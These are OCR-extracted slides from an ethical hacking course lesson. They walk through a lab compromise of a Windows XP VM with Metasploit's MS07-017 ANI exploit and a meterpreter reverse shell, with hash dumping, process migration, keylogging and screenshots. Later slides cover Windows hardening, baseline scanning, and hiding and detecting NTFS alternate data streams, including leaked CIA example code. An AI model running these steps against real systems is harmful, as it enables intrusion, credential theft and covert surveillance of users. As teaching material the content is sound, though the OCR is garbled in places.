msf exploit(ms07 017 ani loadimage chunksize) > show options
Module options (exploit/windows/browser/ms07 017 ani loadimage chunksize) :

Name Current Setting Required Description

SRVHOST The local host to listen on. This must be an address on the local
machine or

SRVPORT The daemon port to listen on

SSL Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH yes The URI to use.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST The listen address
LPORT 4444 The listen port

Exploit target:

Id Name

(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit(ms07 017 ani loadimage chunksize) > set LHOST 10.76.5.150 . !
LHOST => 10.76.5.150 Configure payload'’s

msf exploit(ms07 017 ani loadimage chunksize) "phone home" addreSS
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show options

msf exploit(ms07 017 ani loadimage chunksize) > show options
Module options (exploit/windows/browser/ms07 017 ani loadimage chunksize) :

Name Current Setting Required Description

SRVHOST The local host to listen on. This must be an address on the local
machine or

SRVPORT The daemon port to listen on

SSL Negotiate SSL for incoming connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

URIPATH The URI to use.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.76.5.150 The listen address
LPORT 4444 The listen port

Check that all required variables

Exploit t t:
xploit targe have been set ... done!

Id Name

(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit(ms07 017 ani loadimage chunksize) >
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EH-Kali-05

exploit

msf exploit(ms07 017 ani loadimage_ chunksize) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.76.5.150:4444

msf exploit (ms07 017 ani loadimage chunksize) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://10.76.5.150:80/
[*] Server started.

Start the exploit which starts listening on port 80.
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‘A kv2e57DGx9f2degrUCjSheOsVa - Microsoft Internet Explorer

File Edit Miew Faworites  Tools  Help .\FP
@ Back = \_’,l @ @ :‘j p Search ‘\E:‘\? Faworites @ ﬁ:iv ; .ﬁ
Address |@ http:/i10.76.5.150; v| Go | | Links 32

Hi3h 079V ThEnQrhiuZBpgrulo [Bm o7 ZgfsBels o Y HO QOTD TpeV e ZzabF 2H Ve BBV noqud TIE Qewwr D 1
1 mO0mE gio E28bull W W EEPE Jkmtive Qlyp Qmet GIF
bidiSkCWle 1 Gl azh5pF Ozdlez0 21

Victim browses to 10.76.5.150 (EH-Kali-05) which
could have been motivated via social engineering.

€] Downloading data http://10.76.5.150/2RbnENsasiCUKSE14Z950275hbagCatataTic [0 |
I
‘5 Start

ﬂ Inkternet

E' Untitled - Motepad a fASM.com - Hokmail, ©... a kwz2eS70iExIF2dgrIC..
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Attempting to exploit ani loadimage chunksize

Sending HTML page

Attempting to exploit ani loadimage chunksize

Sending Windows ANI LoadAnilIcon() Chunk Size Stack Buffer Overflow (HTTP)

Sending stage (957999 bytes) to 10.76.5.201

Meterpreter session 1 opened (10.76.5.150:4444 -> 10.76.5.201:1050) at 2016-10-31 19:06:23 -0700

exploit (ms07 017 ani loadimage chunksize) >

Once the victim browses to our website a
meterpreter session is created.
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sessions
sessions
shell
exit

msf exploit(ms07 017 ani loadimage chunksize) > sessions -1

Active sessions

Information Connection

meterpreter x86/win32 EH-WINXP-05\cis76 student @ EH-WINXP-05 10.76.5.150:4444 -> 10.76.5.201:1050
(10.76.5.201)

msf exploit(ms07 017 ani loadimage chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell

Process 476 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\cis76 student\Desktop>exit
exit
meterpreter >

There may be more than one session if multiple victims
browsed to our website. List them with the -I option select
on to interact with using the -i option




CIS 76 - Lesson 10
EH-Kali-05

hashdump
sysinfo

meterpreter > hashdump
Administrator:500:c63e3ad42d04b97ece68aa26a841a86fa:020356e54c9%9ee2bcl975862b71b4£39f: ::
cis76 student:1003:c63e3ad42d04b9%7cec68aa26a841a86£fa:020356e54c9%ee2bcl975862b71b4£39f: ::
Guest:501:2ad3b435b51404eecaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089c0: ::
HelpAssistant:1004:4cc3993dddeel9661e65b3calf£f48£09:15£60a7495eeebdd8c6440d0762b5577:
SUPPORT 388945a0:1002:2ad3b435b51404eecaad3b435b51404ee:9da82c6cele8£93c0l6efbced5e37e34:::
meterpreter > sysinfo

Computer : EH-WINXP-05

0S : Windows XP (Build 2600, Service Pack 2).
Architecture : x86

System Language : en US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >

Get account passwords (hashed) and system information.
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meterpreter > ps

Process List

[Sysiem Process]
Sysg'cem
1072 IAXPLORE.EXE EH-WINXP-05\cis76 student C:\Program Files\Internet

Explorer\iexglore.exe

272 708 alg.exe

344 1066 wscntfy.exe

432 36 wuauclt.exe

576 4 Smss.exe

640 576 csrss.exe

66/: 576 winlogon.exe

708 664 services.exe

120 664 lsass.exe

876 708 svchost.exe

952 708 svchost.exe

1936 708 svchost.exe

1072 1008 explorer.exe

10c4 /038 svchost.exe

1212 1072 wvmtoolsd.exe
Tools\vmtoolsd.exe

1256 708 svchost.exe :\WINDOWS\system32\svchost.exe

1396 708 spoolsv.exe NT AUTHORITY\SYSTEM :\WINDOWS\system32\spoolsv.exe

1444 1072 rundll32.exe EH-WINXP-05\cis76 student :\WINDOWS\system32\rundl132.exe

1620 708 VGAuthService.exe NT AUTHORITY\SYSTEM :\Program Files\VMware\VMware Tools\VMware
VGAuth\VGAuthService.exe

1728 708 vmmtoolsd.exe NT AUTHORITY\SYSTEM :\Program Files\VMware\VMware
Tools\vmtoolsd.exe

C:\WINDOWS\System32\alg.exe

EH-WINXP-05\cis76 student C:\WINDOWS\system32\wscntfy.exe
EH-WINXP-05\cis76 student C:\WINDOWS\system32\wuauclt.exe
NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
NT AUTHORITY\SYSTEM \?2\C:\WINDOWS\system32\csrss.exe
NT AUTHORITY\SYSTEM \?22\C: \WINDOWS\system32\winlogon.exe
NT AUTHORITY\SYSTEM :\WINDOWS\system32\services.exe
NT AUTHORITY\SYSTEM :\WINDOWS\system32\1lsass.exe
NT AUTHORITY\SYSTEM :\WINDOWS\system32\svchost.exe

:\WINDOWS\system32\svchost.exe
NT AUTHORITY\SYSTEM :\WINDOWS\System32\svchost.exe
EH-WINXP-05\cis76 student :\WINDOWS\Explorer.EXE

:\WINDOWS\system32\svchost.exe
EH-WINXP-05\cis76 student :\Program Files\VMware\VMware

O OO O OO OO0 0o oo oo

meterpreter > migrate 1072 Migrate from the Internet Explorer
[*] Migrating from 172 to 1072...
to the Explorer process.

[*] Migration completed successfully.
meterpreter >
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run post/windows/capture/keylog recorder
Ctrl-C to stop capture

meterpreter > run post/windows/capture/keylog recorder

*] Executing module against EH-WINXP-05
*] Starting the keystroke sniffer...
*] Keystrokes being saved in to

Recording keystrokes...
*] Saving last few keystrokes...

Interrupt

]
]
]
o
]
[
]
] Stopping keystroke sniffer...

[
[
[
/
[
[
[

meterpreter >

.
A
“

TR T

ot/.msf4/1loot/20161031205253 default 10.76.5.201 host.windows.key 629822

The captured
keystrokes are
placed in this file

— O >

root@eh-kali-05: ~

File Edit View Search Terminal Help

/

:~# cat .msT4/loot/20161031205253 default 10.76.5.201 host.windows.key 629822.txt

Keystroke log started at 2016-10-31 20:52:53 -8700
Help ... I've been ha

cked! =Return= <Return=
s~
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Two options for getting a screenshot of the victim's desktop

Option 1:

screenshot

meterpreter > screenshot

Screenshot saved to: /root/kDZVxgnk.jpeg
meterpreter >

If screenshot fails with:
Error running command screenshot: Rex::TimeoutError Operation timed out.

Then try option 2 below:

Option 2:

use espia

screengrab

meterpreter > use espia

Loading extension espia...Success.

meterpreter > screengrab
Screenshot saved to: /root/vWsWGTJc.jpeg

This tool has been deprecated, use 'gio open' instead.
See 'gio help open' for more info.

meterpreter >
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Applications ~ Places = Terminal « Mon 20:59 e

Properties X

Size 800 x 600 pixels
pe JPEGimage
e 39.3 kB

Fie Edit Format View Help
Help ... I've been hacked!

root@eh-kali-05: ~

File Edit View Search Terminal Help

:~# cat .msf4/1o0t/20161031205253 default 10.76.5.201 host.windows.key 629822.txt
Keystroke log started at 2016-10-31 20:52:53 -0700
Help ... I've been ha
cked! <Return> <Return>

(~#

Captured screen shot and keystrokes from victim. 163
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Windows OS Vulnerabilities

For early DOS and Windows PC local access was needed to
do anything.

Ease-of-use was prioritized higher than security.

The earlier versions of the OS (Windows 2000 and before)
had many features and services enabled by default.

Administrators would have to reconfigure, disable or
remove features and services to reduce the security risk.

Today most features and services are disabled now by
default.

Siloed roles must be manually added.
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Windows OS Vulnerabilities

+ File System
» FAT (File Allocation Table) - No ACLs.
« NTFS (New Technology File System) - added ACLs and later encryption, journaling,
and self-healing.
« ADS (Alternate Data Streams)
+ Active Directory
« RPC (Remote Procedure Call)
« Single Sign on - Pass the Hash attacks
+ NetBIOS
+ SMB (Server Message Block)
* CIFS (Common Internet File System)
« Domain Controller ports.
* Null Sessions
« IIS (Web services)
« SQL Server

« Buffer Overflows

« Passwords and authentication
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Hardening Windows OS

« Patching systems

« Automatic (for home and small networks)
SMS (Systems Management Server)
WSUS (Windows Software Update Service)
SCCM (System Center Configuration Manager)
Third party products

« Anti-virus solutions (home vs enterprise)

 PUPs (Potentially Unwanted Programs)

« Enable and review logs

« Disable unused services and filter ports (reduce the attack surface)
« Limit admin accounts and user applications.

« Implement Data Loss Prevention solutions.

« Many many more!
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Microsoft Baseline Security Analyzer

¢ Microsoft Baseline Security Analyzer 2.3

Microsoft

¥ Baseline Security Analyzer

Tasks Check computers for common security misconfigurations.
& computer

The Microsoft Baseline Security Analyzer can check cormputers running Microsoft Windows

Server 2012 RZ2, Windows 8.1, \Windows Server 2012, Windows 3, Windows Server 2003 RZ,

Windows 7, Windows® Server 2003, Windows Server 2008, Windows Yista, or Windows XP.

Scanning computers for security updates utilizes Windows Server Update Services, You rmust

Scan mulkiple computers

hawve administrator privileges for each computer you want to scan.

M' Scan a computer
- Check a computer using its name or IP Address.

h"t Scan rmultiple computers
Check multiple computers using a domain name or a range of IF addresses.

u Wienw Bxisting security scan reports
View, print and copy the results from the previous scans.

See Also

2002-2013 Microsaft Corporation, all rights reserved,

B ADS Spy w111 - Werit... ¢ Microsoft Baseline Se... "<___,| 6:48 PM

Free tool to check your Windows environment
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Microsoft

Em ¥ Baseline Security Analyzer

Report Details for WORKGROUP - EH-WINXP-05 (2016-11-01 11:11:03)

Security assessment:
2 Incomplete Scan (Could not complete one or more requested checks.) =

Computer name: WORKGROUPAEH-WINKP-05

IP address: 10.76.5.201

Security report nane: WORKGROUP - EH-WINXP-05 (11-1-2016 11-11 AM)
Scan date: 11j1/2016 11:11 AM

Scanned with MBSA version: 2.3.2211.0

Catalog synchronization date:

Sort Order: | Score {worst first) | |

Security Update Scan Results

Score Issue Result
! Security Computer has an older wersion of the client and security database demands a newer version, Current
Updates wersion is and minmurm required version is

[£

Heusa ko moveack Fhic

B .
&, Brint this report A Copy to clipboard B rrevious security report Mext security report (Bl

-rT—‘— = -
rw Start [ Untitled - Matepad & MESH & Microsaft Baseline Se. .. WL 1111 AM
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Microsoft

€J®)] ¥ Baseline Security Analyzer

Ho o correct this

windows Scan Results

Administrative Yulnerabilities

Score Issue Result
%] Aukomatic The Automatic Updates Feature has nok been configured on this computer, Please upgrade to the latest
Updates Service Pack bo obkain the latest version of this feature and then use the Control Panel ko configure
Aukomatic Updates,
‘irhat was scanned How ko correct this

o Incomplete Mo incomplete software update installations were Found, L4
Updates Whak was scanned
0 Windows ‘indows Firewall is disabled and has exceptions configured.
Firewall What was scanned  Result details  How bo correct this
@ Local Account Mo user accounts have simple passwords,
Password Test  wwhat was scanned  Result details
@ File Swstem All hard drives (1) are using the MTFS file system.
What was scanned  Result details
] Guest Account The Guest account is disabled on this computer,
‘What was scanned
ﬂ Restrick Computer is properly restricking anonymous access,
Ananymaous what was scanned 4
‘-'?’* PYink this report ID Copy to clipboard :_:J Previous security repork MNexk security repark E_]J

.-f'f stan : Untitled - Motepad & MESA EI:-" Microsoft Baseline Se. .. ’{.__il “ 11:13 AM
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Microsoft Baseline Security Analyzer

¢ Microsoft Baseline Security Analyzer 2.3

Microsoft

¥ Baseline Security Analyzer

Tasks Check computers for common security misconfigurations.
& computer

The Microsoft Baseline Security Analyzer can check cormputers running Microsoft Windows

Server 2012 RZ2, Windows 8.1, \Windows Server 2012, Windows 3, Windows Server 2003 RZ,

Windows 7, Windows® Server 2003, Windows Server 2008, Windows Yista, or Windows XP.

Scanning computers for security updates utilizes Windows Server Update Services, You rmust

Scan mulkiple computers

hawve administrator privileges for each computer you want to scan.

M' Scan a computer
- Check a computer using its name or IP Address.

h"t Scan rmultiple computers
Check multiple computers using a domain name or a range of IF addresses.

u Wienw Bxisting security scan reports
View, print and copy the results from the previous scans.

See Also

2002-2013 Microsaft Corporation, all rights reserved,

B ADS Spy w111 - Werit... ¢ Microsoft Baseline Se... "<___,| 6:48 PM
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Microsoft

Em ¥ Baseline Security Analyzer

Report Details for WORKGROUP - EH-WINXP-05 (2016-11-01 11:11:03)

Security assessment:
2 Incomplete Scan (Could not complete one or more requested checks.) =

Computer name: WORKGROUPAEH-WINKP-05

IP address: 10.76.5.201

Security report nane: WORKGROUP - EH-WINXP-05 (11-1-2016 11-11 AM)
Scan date: 11j1/2016 11:11 AM

Scanned with MBSA version: 2.3.2211.0

Catalog synchronization date:

Sort Order: | Score {worst first) | |

Security Update Scan Results

Score Issue Result
! Security Computer has an older wersion of the client and security database demands a newer version, Current
Updates wersion is and minmurm required version is

[£

Heusa ko moveack Fhic

B .
&, Brint this report A Copy to clipboard B rrevious security report Mext security report (Bl

-rT—‘— = -
rw Start [ Untitled - Matepad & MESH & Microsaft Baseline Se. .. WL 1111 AM
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Microsoft

€J®)] ¥ Baseline Security Analyzer

Ho o correct this

windows Scan Results

Administrative Yulnerabilities

Score Issue Result
%] Aukomatic The Automatic Updates Feature has nok been configured on this computer, Please upgrade to the latest
Updates Service Pack bo obkain the latest version of this feature and then use the Control Panel ko configure
Aukomatic Updates,
‘irhat was scanned How ko correct this

o Incomplete Mo incomplete software update installations were Found, L4
Updates Whak was scanned
0 Windows ‘indows Firewall is disabled and has exceptions configured.
Firewall What was scanned  Result details  How bo correct this
@ Local Account Mo user accounts have simple passwords,
Password Test  wwhat was scanned  Result details
@ File Swstem All hard drives (1) are using the MTFS file system.
What was scanned  Result details
] Guest Account The Guest account is disabled on this computer,
‘What was scanned
ﬂ Restrick Computer is properly restricking anonymous access,
Ananymaous what was scanned 4
‘-'?’* PYink this report ID Copy to clipboard :_:J Previous security repork MNexk security repark E_]J

.-f'f stan : Untitled - Motepad & MESA EI:-" Microsoft Baseline Se. .. ’{.__il “ 11:13 AM
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Recent news

Microsoft is building a smart antivirus using 400 million PCs
BY ALFRED NG JUNE 27, 2017

"In its Fall Creators Update, Microsoft will use a wide
range of data coming from its cloud programs such as
Azure, Endpoint and Office to create an artificial
intelligence antivirus that can pick up on malware
behavior, said Rob Lefferts, director of program
management for Windows Enterprise and Security."

"Microsoft is turning to artificial intelligence to create the next generation of
antivirus software."
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Recent news

Windows 10 Fall Creators Update Controlled Folder Access

Nullifies Ransomware Attacks
by Paul Lilly October 25, 2017

https://hothardware.com/news/windows-

- l_P...__ :

10-fall-creators-update-controlled-folder-
access-nullifies-ransomware-attacks

L Windows Defender Security Center - o X

Controlled folder access

& :;‘f;;nyj:: files and folders from unauthonized changed by unfriendly 1 ITh i S fe atu re p rotects yo u r
19 @ o files from tampering, in real-

- time, by locking folders so

J— that ransomware and other

J -t ool st sl unauthorized apps can't
o access them. It’s like putting
Notiicaions your crown jewels in a safe
o e el e, o 5 whose key only you hold,"
Microsoft says."

@
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Windows NTFS Alternate Data Streams

 Introduced in Windows NT 3.1

« Enables Services for Macintosh (SFM) for
interoperability with Apple's classic Mac OS
filesystem.

« Allows more than one data stream to be associated
with a filename.

« Uses the format filename:streamname, e.qg.
myfile.text:mystream
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m] >
¥ Transferring Data Using = X
<~ Cc ‘ @ Secure | https://wikileaks.org/ciav7p1/cms/page_13763236.html ﬁ| D g
= apps [ vahoo Cabrilla College Health Network Medical CI5 76 links Lab Development Home [4 Expand Al [3 Link Comments Other bookmarks

-

,"Wlleeaks Leaks News About Partners Search Q  Shop

Vault 7: CIA Hacking Tools Revealed

Releases v Documents v

Navigation: » Directory » Knowledge Base » Tech Topics and Techniques Knowledge Base » Windows » Windows Code Snippets » Data Transfer Modules (KB)

Transferring Data Using NTFS Alternate Data Streams (DTNtfsAds_BK -
Brutal Kangaroo)

SECRET//NOFORN

OSB Library: Data Transfer

Module Name: DTNtfsAds_BK (Brutal Kangaroao)

Module Description: This module allows for transfer or storage of data by placing it in NTFS Alternate Data Streams. Each chunk (call to addFile) creates a new
stream. Chunks are identified by the ProgramID. Using FindFirst/FindNext with a proglD of 0 will match all files that have been written by this module. deleteFile is

unsupported by this module. This medule overloads the constructor (see Module Specific Structures) to set the destination of the data.
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- [m] X

} Transferring Data Using = X
< > C | @ Secure | https://wikileaks.org/ciav7p1/cms/page_13763236.htm| 1}‘ oo :
Apps Vahcc Cabrillo College Health Network Medical CIS 76 links Lab Development Home [7 Expand Al [ Link Comments Other bookmarks

,!WikiLeaks Leaks News About Partners

Q  Shop [DELEICH BENTILIE

Module Specific Structures:

r*

The constructor takes a path to the directory/file to which the ADS files should be added.
D omEmEER s A s e et =
DTNtfsAds_BK(wchar_t* filenameToAppendADS);

Example Code

WCHAR wcDrivePath[] = L"I:\\";
IDataTransfer *dtTransfer = new DTNtfsAds_BK(wcDrivePath);

DWORD dwChunkSize = @;
DWORD dwFileProgID = @;

//add the file to storage file
DataTransErr dtErr = dtTransfer->addFile(5, byDatal, dwDatallen);

//find first file - no header
dtErr = dtTransfer->findFirstfFile(5, dwChunkSize, &dwFileProgID, @, NULL);

//Allocate memory - read in file just identified by findFirstFile
LPBYTE lpbData = (LPBYTE)malloc(dwChunkSize);

DWORD dwBytesRead = dtTransfer->readFile(lpbData, dwChunkSize);
free(lpbData);

f/Cleanup

WCHAR wcTemp[MAX_PATH] = { @ };
swprintf(wcTemp, L"%s:$0bjIde”, wcDrivePath);
DeleteFile(wcTemp);

delete dtTransfer;
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Windows NTFS Alternate Data Streams

ADS demonstration setup on EH-WinXP

1.

2.

Start with the baseline snapshot at a minimum.

Configure Folder Options to not hide file extensions (Start >
Run... > Explorer > Tools menu > Folder Options... > View tab
> Advanced settings: > remove check from "Hide extensions for
known file types".

Connect to the depot share on 172.30.10.36 (Start > Run... >
\\172.30.10.36\depot) .

Download the Streams and ADS Spy folders to your desktop.

From Streams folder, copy the steams.exe file to your
C:\WINDOWS\system32 directory.
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Stream
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ﬂ BI‘DSD.{" lllnd = HP [ersun ..26]
CC» Copyright 1985-2801 Microszoft Corp.

C:~Documents and Settingsscis?e student>notepad tim.txt

Motepad Fg|

'E Cannat Find the i, bk Fils,
L

Do wou want to create a new file?

184
Running notepad from the command line to create a new text file
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= tim.txt - Notepad
File Edit Format “iew Help

Timothy Michael "Tim" Kaine (born February 26, 1958) 1= an american
attorney and politician serving as the junior United States Senator
from wvirginia. A Democrat, Kaine was elected to the Senate in 2012 and

is the nominee of his party for vice President of the united states in
the 2016 election.

Paste in some sample text, format with word wrap, and save the file.
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O Back - ‘ir p ) Search Folders E'v

Address | C\Documents and Settings'cis76 student

PO —
File and Folder Tasks & R
= kirn, ExE
9 Make a new folder ‘ ;E IEKXE'E: DocumeRk
&N Fublish this Folder ko )\ ——

Microzoft Windows AP [Uersion 5.1.26H01
CC>» Copyright 1985-2801 Microsoft Corp.

C:sDocuments and Settingscis?6 studentnotepad tim.txt
Y C - ~Documents and Settingsscis?6 student>dir
el Uolume in drive C has no label.
- Uolume Serdial Humber is 1C6F-BAAD
Divectory of C:sDocuments and Settingsscis?h student

18-30-2816 B2:57 PM <DIR> -
N 8-30-2016 B2:59 PM <DIR>

19.,38/2016 ©2:54 PM <DIR> Desktop
97,31,2016 ©3:34 PM <DIR> Favorites
Ag-15-2016 ©B4:-85 AM <DIR> My Documents

A A3 AT WI=-CC M ST Ctoat Mooy,

10382016 @3:88 PM 296 tim.txt

I TIIEVE” 270 YLES

6 Dirdisd 6,471,885, 568 butes free

C:sDocuments and Settingsscisz?6 student’

Use dir to list the files, including the new tim.txt file, from the command line 186
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C:sDocuments and Settingsscis?e studentXnotepad tim.txt:isecret—-service—name

C:sDocuments and Settingsscis¥6 student

Notepad

'T annok find the kim, bxk: secret-service-name. txk File,
[ ]

Do yiou wank ko create a new file?

] [ Cancel

Create an alternate data stream named "secret-service-name"”
associated with tim. txt

187
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C:sDocuments and Settings~cis?6 student*notepad tim.txtiIsecret—service—name

C:sDocuments and Settingscis?b student>

I tim.txt:secret-service-name.txt - Notepad
File Edit Formak Wiew Help
Tim Kaine's secret service name is: Daredevil

Add some text to the alternate stream, save and exit. 188
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:
td

o

Al

Ll

O Back - ? J P Folders E*

Address |5 C\Documents and Settings'cis76 student

# | ) Cookies [_iMy Documents
File and Folder Tasks # )Deskiop |[Zh5kart Menu
&
- Make a new folder g
4 _@ Publish this folder to - | - -

> . . . .
E;], C=“Documents and Settingsscis?h student>notepad tim.txt:isecret—service—name

%W*mmﬂb C:~Documents and Settings“cis?6 studentr>dir
[FEheEls Jolume in drive ©C has no labhel.
Jolume Serial Number iz 1C6F-BAAD

Directory of C:“Documents and Settingsciz?6 student

A2:59 <DIR> 2

A2:59 <DIR> ‘s

A2:54 <DIR> Desktop
A3:34 <DIR> Favorites
A4:05 <DIR> Hy Documents
H7-CC LTITR Ctawnt Meann

296 tim.txt

[16/30,2016 03:22
£ AT L L S i LU MHyroo

6 Diris) 6,471 885,568 hytes free

C:“Documents and Settingsscis?6 student >

Showing the tim.txt file with Explorer and command line. 189
Note there is no indication of an alternate stream.
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C:sDocuments and Settingsscis?6 student>dip
Uolume in drive C has no label.
Uolume Serdial Mumber i= 1C6F-BAAD

Directory of C:sDocuments and Settingssciz=?6 student

A2:52 PH <DIR> -
A2:52 PH <DIR> - -
A2:54 PM <DIR> Dezsktop
B3:-34 PH <DIR> Favorites
A4:85 AM <DIR> My Documents
A7:55% AM <DIR> Start Menu
A3:22 PH 276 tim.txt

1 File<s> 296 hytes

6 Dird=sD 6,471 . 827.856 hytes free

C:Documents and Settings*cisYb student’>

type tim.txt

C:Documents and Settings*cizVh studentXtype tim.txt

Timothy Michael "Tim'" Kaine <horn February 26, 1?58>» is an Amerdican attorney an
politician serving as the junior United States Senator from Uirginia. A Democr
t,. Kaine waz elected to the Senate in 2812 and iz the nominee of hisz party for U
ice President of the United States in the 2016 election.

C:Documents and Settings*cisY6 student:

more < tim.txt:secret-service-name

C:xDocuments and Settings*cis?Yb student*more < tim.txt:isecret—service—name.txt
Tim Kaine's secret service name is: Daredevil

C:sDocuments and Settings*cis?6 student>

190
View the file with type and the alternate stream with more
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Adding second alternate data stream

echo "Democrat" > tim.txt:party.txt
C:sDocuments and SettingsscisYht studentXecho "Democrat" > tim.txtiparty.txt

C:sDocuments and Settingsscis?6 studentl

more < tim.txt:party.txt Viewing one stream

C:sDocuments and Settings*cis?6 student>more < tim.txtiparty.txt
"Democrat”

C:sJocuments and Settingssciszy¥b student>

more < tim.txt:secret-service-name. txt Viewing the other stream

C:xDocuments and Settings*cisVYe student*more < tim.txt:isecret—service—name.txt
Tim Kaine's secret service name is: Daredevil

C:Documentsz and SettingssciszsY6 student >

Yes, an NTFS file can have more than one alternate data stream!
192
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ADS Spy

[ Merijn.nu x

&« C | @ www.merijn.nu/programs.php#adssp) w0 :

Navigation Official downloads Links
o Click any of the "download' links below a programs’ icon to download it.
Downloads ) . B Info RFRS
Articles Common questions about this page and its contents:

FAQ s What is the License Agreement for your software? m
Windows Files = Why am I getting 'Unexpected error' about MSVBVM60.DLL?
Help Forums = Why am I getting 'Unexpected error' about MSCOMCTL.OCX?
Donate * I just downloaded one of your programs, how do I oper r ’;fg"“-}
E-mail « What Windows versions are your programs compatible with?
* HijackThis is closing immediately after I open it, what do I do? viase e
s I can't download anything! what do I do? |

Site search

Powered by Google

HijackThis

) @
sare HijackThis: A general homepage hijackers detector and remover. Initially based on the article Hijacked!, but

expanded with a lot of other checks against hijacker tricks. It is continually updated to detect and remove new
hijacks. It does not target specific programs/URLs, just the methods used by hijackers to force you onto their sites.
As a result, false positives are imminent, and unless you are sure what you're doing, you should always consult with
knowledgable folks before deleting anything.

A rudimentary HijackThis log tutorial by me is available here. Rum
The official HijackThis QuickStart for posting on the Spywarelnfo forums is available here. !Ganmgf'

Compatible with: Windows 2000 and newer
Currently at version: 2.x

-> Download from TrendMicro
-> Download from MajorGeeks

StartupList

GE StartuplList: A simple tool that lists all and every auto starting program on your system. You might be surprised
what it finds, this is way better than Msconfig. Commonly used to troubleshoot malfunctioning systems, trojan/viral -

http://www.merijn.nu/programs.php#adss 194
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EX ADS Spy v1.11 - Written by Merijn

alternate Data Streams [A05] are pieces of info hidden az metadata on files on MTFS drives. They are not
wizible in Ex=plorer and the size they take up iz not reported by Windows. Recent browser hijackers started

uzing A05 to hide their files, and vem few anti-malware scanners detect this, Uze ADS Spo to find and remove
theze streams.

Maote: thiz app can alzo dizplay legitimate ADS streams. Don't delete streams if you are not completely sure they
are malicious!

(™ Quick zcan [windows base folder amly)
[ Full zcan [all MTFS drives) |
(™ Scan anly this folder; ] __1

[+ lgnore safe syztem info data streams [encptable’, 'Summarynformation’, et

[ Calculate MDA checksums of streams’ contents

{ Scan the spztem for alternate data streams I Remove zelected streams

B D ocument: and Settings'

|Scan complete, found 1 alternate data streams [05's).

Open the ADS Spy folder on the desktop, run ADSSpy.exe, and scan for 195
alternate data streams. It will find the new secret-service-name stream.
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EY ADS Spy v1.11 - Written by Merijn

Alternate Data Streams [A05] are pieces of info hidden as metadata on files on HTFS drives. They are not
vizible in Explorer and the size they take up iz not reported by \Windows. Recent browser hijackers started
uzing A0S to hide their files, and wery few anti-malware zcanners detect this. Use ADS Spy to find and remove
theze shreams.

Mate: thiz app can alzo dizplay legitimate 405 shreams. Don't delete streams if you are not completely sure they
are malicious!

" Guick scan Mindows baze folder only)
fo" Full zcan [all MTFS drives)
™ Sczan only this folder: | J

| Ignore zafe system info data streams ['encruptable’, 'Summarylnformation’, etc] |

| Calculate MDE checksums of streams’ contents

i Scan the system for alternate data streams Il Remove selected ztreams |

C:hDocuments and Settingsheiz7E student\DesktophaDs SprialSSpy exe | Zone ldentifier [26 butez)
C:hDocurments and Settingsheiz7E student\DeskiophSheamzhEula et . Zoneldentifier [26 bptes)
ChDocuments and SettingzheizTE student\DeskiophShreamzhztreams. exe | Zone ldentifier [26 bptes)
C:ADocuments and SettingscisTE student\DeszklopiSheamshstreamsbd. exne : Zoneldentifier [26 bytes)
C:ADocuments and SettingsheisTh studentyky DocumentzhD ownloads\wireshark-wingd-2.0.5.exe ; Zone.[der
C:ADocuments and Settingshcis?h studentsky DocumentzhFirefox Setup 43.0.1 exe : Zone.|dentifier [26 bytes
C:ADocuments and Settingshcis?h studentstim.bat - secret-zervice-name. =t [45 bytes)
CARECYCLERMNS-1-5-21-1 2466281 24-48506347-57 2454927100310 21 exe - Zoneldentifier [26 bytes)

C WM DO Shapstem32hatreams. exe.exe | Zone.|dentifier (26 bptes]

Scan complete, found 9 alternate data streams [4D5's).

Scan again this time showing all alternate data streams
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Streams

TN Streams x

&« C ‘ & https;//technetmicrosoft.com/en-us/sysinternals/bb897440.aspx

Q&

B® Microsoft | TechNet v

Windows Sysinternals

United States (English)

Search TechNet with Bing

Home Learn Community

Windows Sysinternals > Downloads > File and Disk Utilities > Streams

Utilities
Sysinternals Suite
Utilities Index

File and Disk Utilities
Networking Utilities
Process Utilities

Security Utilities

System Information Utilities

Miscellaneous Utilities

Additional
Resources

Forum

Site Blog
Sysinternals Learning
Mark's Webcasts
Mark's Blog
Software License
Licensing FAQ

Streams v1.6 Download

By Mark Russinovich Download Streams

Published: July 4, 2016 (140 KB)
@ Download Streams (140 KB) Runs on:
Rate: 5757 arid .
Client: Windows Vista and higher
Introduction Server: Windows Server 2008 and higher
The NTFS file system provides applications the ability to create alternate data Nano Server: 2016 and higher

streams of information. By default, all data is stored in a file's main unnamed
data stream, but by using the syntax file:stream’, you are able to read and write
to alternates. Not all applications are written to access alternate streams, but
you can demonstrate streams very simply. First, change to a directory on a
NTFS drive from within a command prompt. Next, type 'echo hello >
test:stream’. You've just created a stream named 'stream’ that is associated with
the file 'test’. Note that when you look at the size of test it is reported as 0, and
the file looks empty when opened in any text editor. To see your stream enter
‘more < test:istream’ (the type command doesn't accept stream syntax so you
have to use more).

NT does not come with any tools that let you see which NTFS files have
streams associated with them, so |'ve written one myself. Streams will examine
the files and directories (note that directories can also have alternate data
streams) you specify and inform you of the name and sizes of any named
streams it encounters within those files. Streams makes use of an
undocumented native function for retrieving file stream information.

Sign in

0

technet.microsoft.com/en-us/sysinternals/bb897440.aspx
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streams.exe

. Command Prompt

C:xDocumentsz and Settings*cis?b student>streams.exe

streamz vl.6H@ — Reveal HIFS alternate streams.
Copyright <C>» 2005-281i6 Mark Russinovich
Syzsinternals — www.sysinternals.com

usage: streams.exe [-s]1 [-d] <file or directory:
Recurse subdirectories
Delete streams
—nobanner
Do not display the startup banner and copyright message.

C:sDocuments and Settingsscis?b student

The streams command has two options, -s to recurse subdirectories
and -d to delete streams.

199



streams.exe -s c:\

e Command Prompt

